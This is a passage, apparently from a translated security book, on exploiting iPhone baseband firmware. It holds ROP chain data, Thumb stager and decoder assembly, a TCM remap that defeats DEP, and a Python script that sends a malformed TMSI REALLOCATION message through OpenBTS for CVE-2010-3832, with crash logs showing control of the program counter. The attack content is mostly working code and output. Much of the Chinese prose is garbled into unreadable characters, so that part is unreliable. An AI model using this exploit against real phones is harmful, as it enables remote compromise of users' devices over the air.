0x000000BC      DCD 0xFFFF1FF8      ; R5 [address] 
0x000000C0      DCD 0x6014A0F1      ; STR R4, [R5] 
0x000000C0                          ; POP {R3-R5}, PC 
0x000000C4      DCD '3333'          ; R3 [unused] 
0x000000C8      DCD '4444'          ; R4 [unused] 
0x000000CC      DCD '5555'          ; R5 [unused] 
0x000000D0      DCD 0xFFFF1FD1      ; entry point 
0x000000D4      DCD 0xFFFF04D0      ; [2nd stage] R0 (memcpy dst) 
0x000000D8      DCD 0x6087A7BC      ; [2nd stage] R1 (memcpy src) 
0x000000DC      DCD 0x1010159       ; [2nd stage] R2 (1st summand of len) 
0x000000E0      DCD 0xFEFEFEFF      ; [2nd stage] R3 (2nd summand of len) 

ඇʶ൒ࠪឞROPૈ̽ྞൿᄉុၸᦏ̯͗ಖ˖๖Ᏹ૿உڙr3~r5࠘٧̾ߚԢPC࠘٧ߚ˖ᄉ4˓
ԟஜǌڙз˿11˓ߙ˧ՐὋ੯ᛠึ͗ࡂᜁ᧗߿ՓҁѸतᄉThumb̼ᆉǌԥ඼ᎃ्यݟʽ੝ᇧὙ�

0xFFFF1FD0                      CODE16 
0xFFFF1FD0 07 48                LDR             R0, =0x6018135C 
0xFFFF1FD2 80 47                BLX             R0      ; call disable_ints 
0xFFFF1FD4 07 1C                MOVS            R7, R0 
 ; preserve CPSR 
0xFFFF1FD6 0F BC                POP             {R0-R3}\; get args for memcpy 
0xFFFF1FD8 D2 18                ADDS            R2, R2, R3 ; fix up length 
0xFFFF1FDA 07 4B                LDR             R3, =0x601FD9FC 
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0xFFFF1FDC 98 47                BLX             R3; call memcpy 
0xFFFF1FDE 38 1C                MOVS            R0, R7; get preserved CPSR 
0xFFFF1FE0 04 49                LDR             R1, =0x6018136C 
0xFFFF1FE2 88 47                BLX             R1 ; call restore_cpsr 
0xFFFF1FE4 01 49                LDR             R1, =0x72883C6C ; for clean… 
0xFFFF1FE6 8D 46                MOV             SP, R1; continuation 
0xFFFF1FE8 48 1A                SUBS            R0, R1, R1; clear R0 
0xFFFF1FEA F0 BD                POP             {R4-R7,PC} ; no crash, please 
0xFFFF1FEA             ; --------------------------------------- 
0xFFFF1FEC 6C 3C 88 72 new_sp         DCD 0x72883C6C; DATA XREF: 0xFFFF1FE4 
0xFFFF1FF0 5C 13 18 60 P_disable_ints DCD 0x6018135C; DATA XREF: 0xFFFF1FD0 
0xFFFF1FF4 6C 13 18 60 P_restore_cpsr DCD 0x6018136C; DATA XREF: 0xFFFF1FE0 
0xFFFF1FF8 FC D9 1F 60 P_memcpy       DCD 0x601FD9FC; DATA XREF: 0xFFFF1FDA 

ᤇൿ̼ᆉ௦˓stagerΒርὋ߱ઁқʽᄉᝌᩙߙቿ˘˖ᄉ̼ᆉ҃ܬҁЮߚᮆቪᄉӜ۪˖ǌᤇൿ

̼ᆉͮ̅0xFFFF04D0ͮᎵὋ˄ԥ඼ᎃ्यݟʽὙ�

0xFFFF04D0 detour_0xFFFF04D0                            ; detour to ROM 
0xFFFF04D0                  LDR                 PC, =0x40736334 
0xFFFF04D0 ; -------------------------------------------------- 
0xFFFF04D4                  CODE16 
0xFFFF04D4 org_0xFFFF04D0   DCD 0x40736334  ; DATA XREF: detour_0xFFFF04D0 
0xFFFF04D8 ; ----------------------------------------------- 
0xFFFF04D8 
0xFFFF04D8 decoder_entry 
0xFFFF04D8                  LDR             R0, =0x60FA011F 
0xFFFF04DA                  SUBS            R0, #0x80   ; avoid 0 bytes 
0xFFFF04DC                  SUBS            R0, #0x80   ; R0 = 0x60FA001F 
0xFFFF04DE                  LDR             R2, =0x60701280 
0xFFFF04E0                  STR             R0, [R2] 
0xFFFF04E2                  ADDS            R4, R4, R7 
0xFFFF04E4                  LDR             R0, =0x6018135C 
0xFFFF04E6                  BLX             R0          ; call disable_ints 
0xFFFF04E8                  MOVS            R7, R0 
0xFFFF04EA                  ADDS            R2, R5, R6 
0xFFFF04EC                  MOVS            R5, 0x22 ; '"' 
0xFFFF04F0 
0xFFFF04F0 decoder_loop                     ; CODE XREF: 0xFFFF0508 
0xFFFF04F0                  LDRB            R0, [R4] 
0xFFFF04F2                  CMP             R0, R5      ; check for end of str 
0xFFFF04F4                  BEQ             break_loop 
0xFFFF04F6                  NOP 
0xFFFF04F8                  CMP             R0, #0xFF   ; escape character 
0xFFFF04FA                  BNE             non_escaped 
0xFFFF04FC                  ADDS            R4, #1      ; skip 0xFF 
0xFFFF04FE                  LDRB            R0, [R4] 
0xFFFF0500                  ADDS            R0, #1 
0xFFFF0502 
0xFFFF0502 non_escaped                      ; CODE XREF: 0xFFFF04FA 
0xFFFF0502                  STRB            R0, [R2] 
0xFFFF0504                  ADDS            R4, #1 
0xFFFF0506                  ADDS            R2, #1 
0xFFFF0508                  B               decoder_loop 
0xFFFF050A ; ------------------------------------------------------ 

���Ԛѫմ�INGS॑ࢲ֣��Ћцߓ୍࣍س�



290� � ኃ 11 ብ� ۲ࣛஈѣ 

 

0xFFFF050A 
0xFFFF050A break_loop                               ; CODE XREF: 0xFFFF04F4 
0xFFFF050A                  MOVS            R0, R7 
0xFFFF050C                  LDR             R1, =0x6018136C 
0xFFFF050E                  BLX             R1      ; call restore_cpsr 
0xFFFF0510                  SUBS            R0, R1, R1 
0xFFFF0512                  MOV             R2, SP 
0xFFFF0514                  LDR             R2, [R2] 
0xFFFF0516                  BX              R2 
0xFFFF0516 ; ------------------------------------------------------------------- 
0xFFFF0518 dword_FFFF0518 DCD 0x60FA011F        ; DATA XREF: decoder_entry 
0xFFFF051C dword_FFFF051C DCD 0x60701280        ; DATA XREF: 0xFFFF04DE 
0xFFFF0520 P_disable_ints DCD 0x6018135C        ; DATA XREF: 0xFFFF04E4 
0xFFFF0524 P_restore_cpsr DCD 0x6018136C        ; DATA XREF: 0xFFFF050C 

ߚҁ᫄ٿʶ˓ThreadX OSᄉΒርὋ੝̾ኃʶ్ૈ̽௦᣻ڙߚڦڠၿʼᤗ̼ᆉ᧗з᣾ᄉڙ˝ځ

Βၸ౎ࠃ᧗зѥஜǌ̯0xFFFF04D8ᡐᄉ̼ᆉ௦˓ኤӬᄉᝌᆉѥஜὋᜁᬣՐᄉAT+XAPPຼѢࣂ˖

Љ᝴੯ᛠ͉਒థ஌ᣑᕲǌݟ౦ܷࠑਆ᜵ซЙ̃ᤈ҃BLOBὋᥦ˥ᤇ˓ኤӬᄉᝌᆉ٧௦ॸᭉᄉὋځ

˝͛ᤫፋAT+XAPPᄉߙቿ˘˖ʿᑞѢဗቆಪ֖0ߙᓫᤇಧᄉྱ൳ߙᓫǌឞᝌᆉ࠱٧r5+r6ၸͺࣂ

ᝌᆉథ஌ᣑᕲࠪःᄉᄫᄉڦڠὋࣲ࠱r4+r7ၸͺᝌᆉ٧ᣤЙࠪःᄉຸڦڠǌ߱ᄉࢹͺ఺҃௦ʶᄯ

ᣤЙ˖Ԧဗ0xffὋ߱˧Րڙ౦ݟ0xffͺ˝ᣀ˦ቿǌ࠱ቿ὇0x22ὈὋࣲߙቿᄯҁ᥄ҁलՁߙ҃ܬ

ᄉᥦ˓ߙᓫ᜵ᤫ1ܘ὇ഴ256ὈὋࣲ҃ܬҁᣤѢ˖úúˎपឞᣀ˦ቿǌ�

ᤇሗழก͗ࣛ౎ˏ˓᫇ᮤὙ˝̣˥ซЙᝌᆉ٧ᭉ᜵ၸҁROPᩖὋᤆథࡂ௦stagerር֖ࣿᝌᆉ

٧ᜁ҃ܬҁᄉЮߚቆᫍథʹྱѾ˧ܪ὞ 
X-Gold 61xጆѴ۲ࣛलЙ˿ʶᮉளᄉ߶КҩᑞὋԀːಪ्यᄉDEP὇Data Execution 

PreventionὋஜ૵੯ᛠγએὈǌ੝థᄉԺзЮߚӜ۪ᦏᎤ࠵੯ᛠಕংǌ൤ܰὋЮڙߚ௉యѹݼӐ᫼

ൿ͗ᜁಕ᝭˝Ժ੯ᛠὋᏪڙᤇʶ᫼ൿ᣾Րᮅ᭦ాᬌ͗ࡂᜁᩙ߿ǌڙᤇʶѹݼӐ᫼ൿ߸੆˧ՐὋݝ

Ϸ෤థ̣˥ҨกᑞڙԺзᮅʼ᝹Ꮅ੯ᛠಕংǌ 
Բʶழ᭦ὋܷࠑԺ̾ᄹҁʼᤗథ஌ᣑᕲᄉఴ̼ڠᆉὋᏪʿԵ௦ROPᩖᄉ̼ᆉǌᤇ௦ঞ˥ϡҁ

ᄉփ὞̂ࠃ᝼௙Ὃᤇ᥊ᄹͪڌᔩ᧚්ᄉDEP᫸ጲᤆ௦ڙߚ௙௬ᄉᎧᬨǌARM CPUԺ̾Хథሥ˝

TCM὇Tightly Coupled MemoryὋጊᏸՋߚϱ٧ὈᄉኃʶጞᎀߚǌᏪX-Gold 61xጆѴ۲ࣛ˖ᄉ

ARM1176ನॶХథڙѹݼӐௐᜁըၸᄉTCMǌ 

0x40100054  MOV         R0, #0  ; TCM bank 0 
0x40100058  MCR         p15, 0, R0,c9,c2, 0 ; write TCM selection register 
0x4010005C  NOP 
0x40100060  MOV         R0, #1  ; "1 = I/D TCM Region Register accessible in 
                                ; Secure and Non-secure worlds." 
0x40100064  MCR         p15, 0, R0,c9,c1, 2 ; write DTCM non-secure control access 
                                            ; register 
0x40100068  NOP 
0x4010006C  MCR         p15, 0, R0,c9,c1, 3 ; write ITCM non-secure control access 
                                            ; register 
0x40100070  NOP 
0x40100074  LDR         R1, =0xFFFF000D ; enable ITCM with base address 0xFFFF0000 
0x40100078  MCR         p15, 0, R1,c9,c1, 1 ; write ITCM region register 
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0x4010007C  NOP 
0x40100080  LDR     R1, =0xFFFF200D ; enable DTCM with base address 0xFFFF2000 
0x40100084  MCR     p15, 0, R1,c9,c1, 0 ; write DTCM region register 
0x40100088  NOP 
0x40100088 ========================== 
0x4010008C  MOV     R0, #1 ; TCM bank 1 
0x40100090  MCR     p15, 0, R0,c9,c2, 0 ; write TCM selection register 
0x40100094  NOP 
0x40100098  MOV     R0, #1  ; "1 = I/D TCM Region Register accessible in 
                            ; Secure and Non-secure worlds." 
0x4010009C  MCR     p15, 0, R0,c9,c1, 2 ; write DTCM non-secure control access 
  register 
0x401000A0  NOP 
0x401000A4  MCR     p15, 0, R0,c9,c1, 3 ; write ITCM non-secure control access 
  register 
0x401000A8  NOP 
0x401000AC  LDR     R1, =0xFFFF100D 
0x401000B0  MCR     p15, 0, R1,c9,c1, 1 ; write ITCM region register 
0x401000B4  NOP 
0x401000B8  LDR     R1, =0xFFFF300D 
0x401000BC  MCR     p15, 0, R1,c9,c1, 0 ; write DTCM region register 
0x401000C0  NOP 
0x401000C4  BX      LR 

ᤇࡂᝌ᧕˿˝̣˥໣วஈѣርࣿԺ̾ज़0xFFFF0000̾ʼᄉڦڠзЙஜ૵ὋࣲᑞᝧCPUઁз

Йᄉஜ૵ॆϡ̼ᆉ੯ᛠǌ�

᜵ူᝌԦᤞᄉኃ̃˓֖ኃʻ˓AT+XAPPߙቿ˘Ὃ;Ў᜵ူᝌణՐʶ˓ǌੇ ͂ʿ͗߸ஞڠፋѢ

ణՐʶ˓ᝌᩙߙቿ˘˖Ӊդᄉథ஌ᣑᕲὋᏪԵ௦ঋᤳ˿ᝌʶʽ߱ᄉС᪃ᦉѫὙ 

0xFFFF0A30      LDR         R4, =0x601FD9FC ; memcpy 
0xFFFF0A32      LDR         R5, =0x60FA0000 ; void *ptr = 0x60FA0000 
0xFFFF0A34      LDR         R6, =0xFFFF1000 
0xFFFF0A36 
0xFFFF0A36 tcm_patch_loop           ; CODE XREF: sub_FFFF09A8+A2 
0xFFFF0A36      LDRH        R0, [R5] ; dst_offset = *((uint16_t *) ptr) 
0xFFFF0A38      LDRH        R2, [R5,#2] ; len = *((uint16_t *) ptr + 2) 
0xFFFF0A3A      MOVS        R7, R2 
0xFFFF0A3C      CMP         R2, #0 ; if (len == 0) 
0xFFFF0A3E      BEQ         tcm_pl_exit ; { goto tcm_pl_exit; } 
0xFFFF0A40      ADDS        R5, #4 ; ptr += 4 
0xFFFF0A42      MOVS        R1, R5 
0xFFFF0A44      ADDS        R0, R0, R6 ; dst = 0xFFFF1000 + dst_offset 
0xFFFF0A46      BLX         R4    ; memcpy(0xFFFF1000 + dst_offset, 
                                  ; ptr, len) 
0xFFFF0A48      ADDS        R5, R5, R7 ; ptr += len 
0xFFFF0A4A      B           tcm_patch_loop 
0xFFFF0A4C ; -------------------------------------------------------- 
0xFFFF0A4C 
0xFFFF0A4C tcm_pl_exit              ; CODE XREF: sub_FFFF09A8+96 
0xFFFF0A4C      LDR         R0, =0xFFFF0F78 
0xFFFF0A4E      ADR         R1, sub_FFFF0B54 
0xFFFF0A50      MOVS        R2, #0xC 
0xFFFF0A52      BLX         R4 
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0xFFFF0A54      BL          sub_FFFF0A74 
0xFFFF0A58      POP         {R4-R7} 
0xFFFF0A5A      MOVS        R0, #0 
0xFFFF0A5C      LDR         R3, =0x60186E5D ; stack_cleanup (SP+=0x1C) 
0xFFFF0A5E      BX          R3 

ኃ̃˓֖ኃʻ˓AT+XAPPߙቿ˘͗ઁЮߚӜ۪ᩖᛪߚϱҁTCMὋ0˝ڦڠڙx60FA0000ᄉ

Юߚ੩ʼᛩʷǌឞᩖᛪ௦ၿʼᤗ̼ᆉ᥅ԊᄉὋᏪ˄߱ᄉಪयॡኤӬὙᛪ˖ᄉඇ˓ஜ૵ᮉᦏథʶ

˓ܿᦉὋၿᄰࠪ̅0xFFFF1000ᄉ16ͮϟሧ᧙ߙൿ֖ૈ߿Фʿդܿᦉ˧᫁ऎᄉ16ͮ᫁ऎߙൿጷ

੆ǌᏪឞᩖᛪᄉፆࡊ௦ʶ˓᫁ऎߙൿ˝0ᄉஜ૵ᮉǌ̔ ᭦ᄉIDAPythonᑭఴഴ઱˿ʼᤗఴ̼ڠᆉ

ᄉᛠ˝Ὑ�

from idc import * 
 
ea = 0x60FA0000 
dst = 0xFFFF1000 
while True: 
    n = Word(ea+2) 
    offset = Word(ea) 
    if n == 0: 
        break 
    print "patching %d bytes at 0x%08x." % (n, dst + offset) 
    ea += 4 
    for i in range(n): 
        PatchByte(dst+offset+i, Byte(ea+i)) 
        SetColor(dst+offset+i, CIC_ITEM, 0xFFFF00) 
    ea += n 

ឯ΍ၸLoad Additional Binary File὇ᣑЙᮨܰᄉ̃ᤈ҃஠͇ὈҩᑞᣑЙᝌᆉᄉ஠͇Ὃ˘ଋͮ

ቿ˘ᄉథ஌ᣑᕲὋஉҁឞಖ௄థᄉIDA Proஜ૵ंߙ0x60FA0000ᄉኃ̃˓֖ኃʻ˓ᝌᩙڦڠ̅

˖ὋཨՐᤁᛠʼᤗᑭఴǌ�

ᏪణՐʶ˓ᝌᩙߙቿ˘˖Ӊդᄉథ஌ᣑᕲ˶థੇ͂ਕТᡙᄉڠழὋࡂ௦ʽ᭦ᤇˏ˓ၸCឥᝒ

ᛪᇧᄉˏ˓ѥஜὙ 

/* 0xFFFF0AB2 */ 
int replace_addrs_on_stack(uint32_t *start, uint32_t *end, uint32_t match20msb,  
                           uint32_t replace_base) 
{ 
  while ( start < end ) 
  { 
     /* ኄࣷӝኸၠቝዐTCM൶ᇘڦ௅ᅃ߲ں኷ዘႎᆙพڟ 
     ᇑഄڦڪܔ෻٪ዐăኈڦǈྍ౸*/ 

     if ( *start >> 12 == match20msb >> 12 ) 
       *start = (*start & 0xFFF) + replace_base; 
     ++start; 
    } 
} 
 
/* 0xFFFF07AE */ 
void replace_addrs_on_all_stacks(void *match20msb, void *replace_base) { 
    thread_ptr = tx_thread_created_ptr; /* [R4] */ 
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    /* i٪ئሞ[SP]ዐ 
     * tx_thread_created_countሞR7ዐ 
     * thread_ptrሞR4ዐ 

     */ 
     for(i = 0; i < tx_thread_created_count; i++) { 
         replace_addrs_on_stack(thread_ptr->tx_thread_stack_start, 
                                thread_ptr->tx_thread_stack_end, 
                                match20msb, replace_base) 
        thread_ptr = thread_ptr->next; 
    } 
} 

replace_addrs_on_all_stacksѥஜᄉͺၸ௦጗ൣՉጲርᄉಖ˖੝థᤄڦڠٿᄉڦڠǌ

ඇʶ˓ૈՓTCMᄉᤄڦڠٿᦏ͗ᜁ᧗ளзҁ᫄ߚ˖ᄉڦڠὋᜁѫ஘ᣑЙ҃ܬ٧ҁTCM˖ᄉ̼ᆉ

�Ꮅǌͮߚ౎ᒬᤇ̎Юࡂ

ᤤસ˝iPhone4धԦʶሗᤉር໣วஈѣርࣿὋᥦ˥̯ultrasn0w˿ᝌҁᄉᤇ̎ᅻខࠑ౦ܷݟ

 ᡐҁॡܷᄉࣞүͺၸǌ͗࠱

11.5.3� ぎЁ᥹ষৃ߽⫼ⱘ⑶ߎ 

ఴᓫ᜵ѫౡCVE-2010-3832໣วὋࣲፋѢʶ˓᧪ࠪ߱ᄉഏএᰍ᝼໣วஈѣርࣿǌᤇ˓໣ว௦

ၿᎀуӜᄉЮߚ૮ڭᤴ੆ᄉὋԓځ௦ల೜ಉˀሧҮবክူథСᄉLOCATION UPDATING REQUEST

὇ͮᎵఝளឯයὈ֖ TMSI REALLOCATION COMMAND὇TMSIвѫᦠ̽֐Ὀᤇˏᮉҩᑞ˖TMSIᄉ

᫁ऎǌ߱͗ॕֽ΍ၸ4.2ྟ˧ґᄉiOSᄉ੝థ᝹ܫʼᤁᛠᄉᚃቖనҫǌʿᭉ᜵ၸਖ਼ˀ᝹ܫᤈᛠ͉ʹ

̓̈ὋԵ᜵᝹ܫᤈЙৎ਒۲ቢᄉ᜷ᄥᔴډὋஈѣᏧࡂᑞࠪឞ໣วᤈᛠஈѣǌ 
ᖌ३ࠪርࣿ᝟ஜ٧ᄉଌ҃ڭѽၸ۶૮ʹݟᝎԦឞ໣วὋ̾Ԣʹݟᇧࡘࠑᤇ᧖᜵Փܷڙ͂ੇ

ాǌཨՐὋੇ̭͂͗ፀݟʹ᤯᣾੯ᛠ᝹ᎵS0࠘٧ߚᄉူܪርࣿըၸiPhoneᄉᒬҮःኔҩᑞǌᤇԺ

̾ᝧஈѣᏧઁiPhoneԪ੆ᤉርᄢեᜈᎵǌ 
ੇ͂᜵ଉᝦᄉ௦ᤁᛠiOS 3.1.3̾ԢICE 04.05.04_G۲͇ࣛڌᄉiPhone 2Gʼڙߚᄉឞbugǌ

Ԧဗ֖ѽၸឞ໣วᄉᭅ஘᝭ेᤈᛠଡགྷՐὋੇ͂᧗ளஞՋ्੆˿ᤇ᧖ᄉʹݟథСణѹ௦ࠪڙ

ଠᤗǌ˧ ੝̾ᤤસiPhone 2GᏪʿ௦iPhone 4ὋᤇѢ̅ˏ˓ԓځǌᯪЎὋځ˝ˀiPhone 4ᄰඊiPhone 
2Gᄉ̼ᆉं᜵࠴३ܲὋ੝̾ᖌԨ࣯ыᄉIDB˶᜵ঋ३ܲǌФ൒Ὃࠪ̅iPhone 4౎ឬὋᤇ˓໣ว

ᬋጞҁథ໣วᄉྟఴǌˀ൤ʿՎὋ͇ڌల३ᅻథ̣˥ழกᑞઁ۲ࣛ࠺͂ੇ˄ὋᏪ˿ܬፂᜁνࣂ

ʿክiPhone 2G΍ၸג˓ྟఴᄉ͇ڌὋ߱ᦏ௦Хథឞ໣วᄉὋځ˝ल࠭ᜈᣑርࣿ෤ก੯ᛠ߶К

೜ಉǌᤇ਒։ᅋܷࠑԵ᜵ᬣΦ˻˓̃੣iPhone 2GὋࡂᑞѽၸࣂፂМधᄉ໣วᅋ੣۲ࣛᆠᝌ˿Ὃ

Ꮺʿၸઝॶ˻ҁᄉiPhoneᜁ҄ʼ˿ʿᑞஈѣᄉ۲͇ࣛڌὋ˶ ʿঢ௃਒ӣጞᤴ੆ௐ֖ᫍፂ฿ʼᄉ

૮ܾǌ 
ᇧ˿ᝎԦឞࡘ3-11ڎᑞᝎԦឞ໣วǌࡂ̽֐ᓫᄉTMSIὋTMSIвѫᦠߙ౦ࣛథ᫁ऎ᣹ҁ64ݟ

໣วᄉTMSIвѫᦠ̽֐˖ӉդᄉGSM L3ࡎ๖োὋ௦᤯᣾WiresharkᎩፎѫౡ٧௬ᇧᄉǌ 
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�3-11ڎ ѽၸWiresharkࠪৎ਒TMSIвѫᦠ̽֐ᄉҕౡ 

⊼ᛣ ߙ64̅࠴ᓫᄉTMSIʿ͗࠭ᒰ࢜ຳὋᒯڙ࠵iPhone 2Gʼʿ͗ǌ 

ॡʿࢻὋలፂνஇᄉlibmich௦෤กᄯଋѸतឞ๖োᄉǌڙ˝ځቿՋಕэᄉGSM֖3GPPӨ
ᝫࠃဗ˖Ὃ෤థူၿஂ૆᫁ऎʿ௦4ߙᓫᄉTMSIǌʿ ᣾Ὃܷ Ժ̾΍ၸlibmichѸतՋ᤟ᄉ๖োὋࠑ

ࣲνஇTMSIߙൿԢ᫁ऎǌ 
ᯪЎըҮOpenBTSὋ࠱iPhoneซбҁᒬࣁ᝹ᎵᄉᎩፎὋࣲѽၸOpenBTSᄉtestcallҩᑞ˝

੣఺ᄉGSM L3ࡎஜ૵Ӊ̓૰ըၸUDP᤯᥊Ὑ 

OpenBTS> tmsis 
TMSI        IMSI              IMEI(SV)          age    used 
0x4f5e0ccc  262XXXXXXXXXXXX   01XXXXXXXXXXXXXX  293s   293s 
 
1 TMSIs in table 
OpenBTS> testcall 262XXXXXXXXXXXX 60 
 
OpenBTS> calls 
1804289383 TI=(1,0) IMSI=262XXXXXXXXXXXX Test from=0 Q.931State=active SIPState= 
Null (2 sec) 
 
1 transactions in table 
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ཨՐὋѽၸʽ᭦ᤇ˓Python࠴ᑭఴԦᤞឞథ஌ᣑᕲὙ�

#!/usr/bin/python 
 
import socket 
import time 
import binascii 
from libmich.formats import * 
 
TESTCALL_PORT = 28670 
 
len = 19 
lai = 42 
hexstr = "051a00f110" 
hexstr += "%02x%02x%02xfc" % (lai>>8, lai&255, (4*len+1)) 
hexstr += ''.join('%02x666666' % (4*i) for i in range(len)) 
 
print "layer3 message to be sent:", hexstr 
l3msg = binascii.unhexlify(hexstr) 
print "libmich interprets this as: ", repr(L3Mobile.parse_L3(l3msg)) 
 
tcsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 
tcsock.settimeout(1) 
try: 
    tcsock.sendto(l3msg, ('127.0.0.1', TESTCALL_PORT)) 
    reply = tcsock.recv(1024) 
    print "reply received: ", repr(L3Mobile.parse_L3(reply)) 
except socket.timeout: 
    print "no reply received. potential crash?" 

෤ζՁࡂ੯ᛠឞᑭఴ˧ՐὋၸ̅฽ណᄉ੣఺ॡঋڙ ὇˿۲ࣛ٧ူܪ᧗ը˿Ὀǌፆ౦௦ڙiPhone
ʼ႐ʽዜͪݟʽЮࠓᄉ࢜ຳ௅ংὋܷࠑԺ̾ѽၸAT+XLOG̽֐ᤈᛠଡԨὙ�

+XLOG: Exception Number: 1 
Trap Class: 0xAAAA (HW DATAABORT TRAP) 
System Stack: 
            0x6666661C 
            0x66666630 
            0x66666644 
            0xA027CBFC 
            0xA027CCE4 
            0x6666665C 
            0x0000000A 
            0x6666665C 
            [...] 
 
Date: 14.07.2010 
Time: 04:58 
Register: 
r0:   0xA027CBFC        r1:  0xA027CCE4     r2:   0x6666665C 
r3:   0x0000000A        r4:  0x6666665C     r5:   0xA027CCE4 
r6:   0x00000001        r7:  0xB0016AA4     r8:   0x00000000 
r9:   0xA00028E4        r10: 0xB008E730     r11:  0xB008FE9C 
r12:  0x45564E54        r13: 0xB008FA8C     r14:  0xA0072443 
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r15:  0xA0026818 
SPSR: 0xA0000033       DFAR: 0x6666666C     DFSR: 0x00000005 

в౎ᄹᄹᤴ੆ʼᤗऩ࣡ᄉ̼ᆉὙ�

ROM:A002680A FF B5          PUSH        {R0-R7,LR} 
ROM:A002680C 0D 00          MOVS        R5, R1 
ROM:A002680E 83 B0          SUB         SP, SP, #0xC 
ROM:A0026810 10 69          LDR         R0, [R2,#0x10] 
        ; causes HW DATAABORT TRAP 
ROM:A0026812 14 00          MOVS        R4, R2 
ROM:A0026814 0D 9A          LDR         R2, [SP,#0x30+arg_4] 
ROM:A0026816 0C 99          LDR         R1, [SP,#0x30+arg_0] 
ROM:A0026818 FF F7 6D FB    BL          sub_A0025EF6 
ROM:A002681C A0 69          LDR         R0, [R4,#0x18] 
ROM:A002681E 26 00          MOVS        R6, R4 

ᤇൿ̼ᆉͮ̅recv_signal()ѥஜ὇ʿ௦߽ழՏሥὋԵ௦ੇ͂ᤇ˥Զ߱ᏪࣂὈᄉधܿᦉѫὋ

థ᥀40˓͉ҫ᜵ុၸឞѥஜᤈᛠ͉ҫᫍ᤯ζὋ̯߱͗Ф̴͉ҫଋஅζ̽ǌڙఴΒ˖Ὃᩖଋ࠘٧ߚ

὇r14Ὀ௦ᄯଋ̯mme:1 taskᄉ˞ѥஜុၸᄉǌ൤ܰὋ᤯᣾ڙApplication_Initialize()Β

ር˖ಉᄹЮߚ෈ᄉѫᦠৰхὋܷ ᄉЮڰߚᓫᄉЮߙ52˝࠴ጩܷࠓ௦̯ߚѫӜЮڰԺ̾଍றѢᤇࠑ

�෈˖ѫᦠѢ౎ᄉǌߚ

 Ժ̾಩૵DFAR὇Data Faultࠑክ࢜ຳ௅ং௬ᇧርࣿ᝟ஜ٧὇r15Ὀ௦0xA0026818Ὃͭ௦ܷࡉ
Address RegisterὋஜ૵஋ᬩ٧ߚ࠘ڦڠὈᄉЮ̾ࠓԢФ̴࠘٧ߚᄉᣀϱ஠͇଍றलԦ஋ᬩᄉૈ̽

௦0ڙxA0026810ܪЮߚᣑЙ࠘٧ߚᄉǌݝ౜˿ὀᤇᛪᇧԺ̾ࠪ͛ᤫፋsub_A0025EF6(ptr)ѥ

ஜᄉኃʶ˓ԟஜҪ̾ଌ҃˿ǌឞѥஜᄉԥ඼ᎃ௬ᇧᤇԵ௦NU_Deallocate_Partition(ptr)

ѥஜᄉӉᜈὋᏪ߱͗ᯪЎ೜ಉ௦ՠథptr==NULLǌૈڙ᧪˝NULLᄉৰхʽὋឞѥஜ͗᝭ेʽᩱ

ឧὋՠѶុၸNU_Deallocate_Partition(ptr)ǌఝጹڠ˿ᝌѫӜЮߚᄉࠃဗὋ;͗ࡂԦဗᤇ

్ᡸʿ௦ᥦ˥ݝᡋᄉǌˀҮখЮߚᄉࠃဗᄰԥὋѫӜЮߚʿ͗ᣏ௛ଡΘwrite4ԓឥὋځ˝ʿᭉ᜵

ՋࣲЮڰߚǌᤇሗৰхʽ˶ڙߚᖌ३౼̎࠘٧ߚᄉଌ҃ాᄉФ̴ழयὋͭ ᤇᦏ௦̎໫᫁Ꮺ჋ᔪᄉ

᣾ርǌ 
ఝ˝ኤӬᄉழय௦Ԩ३ርࣿ᝟ஜ٧ᄉଌ҃ాὀ̂ࠃ᝼௙ὋథʶሗኤΦழกǌઁTMSIᄉ᫁ऎ

 ᄉᄫᄉ˿Ὑߙ˓ᑞ᣹ҁ᧗з19ࡂὋᤇಧॡঋߙʶ˓ᜁ᧗зᄉܲ͗ࡂណௐ࠼ᓫὋᤇಧඇ൒ߙҪ4ܘ

+XLOG: Exception Number: 1 
Trap Class: 0xBBBB (HW PREFETCH ABORT TRAP) 
System Stack: 
            0xA006FCA4 
            0x00000677 
            0x00000000 
            0x0000000A 
            0x00000000 
            0x00000000 
            0xB000E720 
            0xB000E788 
Date: 17.07.2010 
Time: 21:31 
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Register: 
r0:   0x00000000   r1:  0x60000013   r2:  0xFFFF231C 
r3:   0x00000000   r4:  0x6666665C   r5:  0x66666660 
r6:   0x66666664   r7:  0xB0016978   r8:  0x00000000 
r9:   0xA00028E4   r10: 0xB008E730   r11: 0xB008FE9C 
r12:  0x45564E54   r13: 0xB008FABC   r14: 0xFFFF1360 
r15:  0x6666666C 
SPSR: 0x60000013   DFAR: 0x00000024  DFSR: 0x00000005 

ᄹὋᤇʿૅࡂҁርࣿ᝟ஜ٧ᄉଌ҃ా˿َὀᄹᄹᩖଋ࠘٧ߚलၸᄉӜ۪Ὃ;͗ࡂԦဗਆ᜵̯

˖ᤄٿᄉᥦ˓ѥஜ෤థԟஜὋᏪ˄௦΍ၸBLុ̽֐ၸᄉǌ̋ ˿฽ណᤇ௦ՠథ஌Ὃੇ ͂͗ណᅋᤄٿ

ҁ߸੆BX LRᄉӜ۪ǌᤇ˶ᡐͺၸ˿ὀڙԦᤞ̾0xFFFF058Cͺ˝TMSIኃ19˓ߙᄉ๖োௐ෤థၶ

੆࢜ຳ௅ংὋ˶෤థˎܾζՁǌ�

ణՐឞ౎ᄹᄹݟʹधըᒬҮःኔ˿ǌ3GPPᄉ27.007᜺ᔴ֖ITUᄉT.250᜺ᔴʶᡐὋࠃဗ˿ૈڙ

ᄉὋੇ͂߿ૈ˖٧὇ԀS0ὈߚS࠘ڙ൒ஜᄉֽᨢՐु҃ᒬҮःኔ֏Զᄉҩᑞǌᤇʶֽᨢ൒ஜ௦߿

Ժ̾΍ၸAT̽֐ATS0=n᝹Ꮅឞ࠘٧ߚὋФ˖nࡂ௦ֽᨢ൒ஜ὚ᤆԺ̾᤯᣾ATS0?ಉលឞ࠘٧ߚᄉ

Ϙǌੇ͂Ժ̾ѽၸAT&WઁS࠘٧ߚᄉЮߚࠓϱҁNVRAM˖Ὃߚϱ˝੝៊ᄉATCଠᤗ஠͇ǌڙѽ

ၸᩱឧߙቿ˘὇error stringὈफຌഁ௦ג˓ѥஜڙୱͺឞATCଠᤗ஠͇ՐὋੇ͂ࡂԺ̾ᰁᯱឞѥ

ஜ̯ NVRAM ˖ឳзὋ੼Ѣ ATC ଠᤗ஠͇ڙЮߚ˖ᄉಪयǌཨՐὋុၸݟʽ੝ᇧᄉ

get_at_sreg_valueѥஜὋಉលkᎵ˝0ௐᄉ࠘٧ߚSnὙ 

/* 0xA01B9F1B */ 
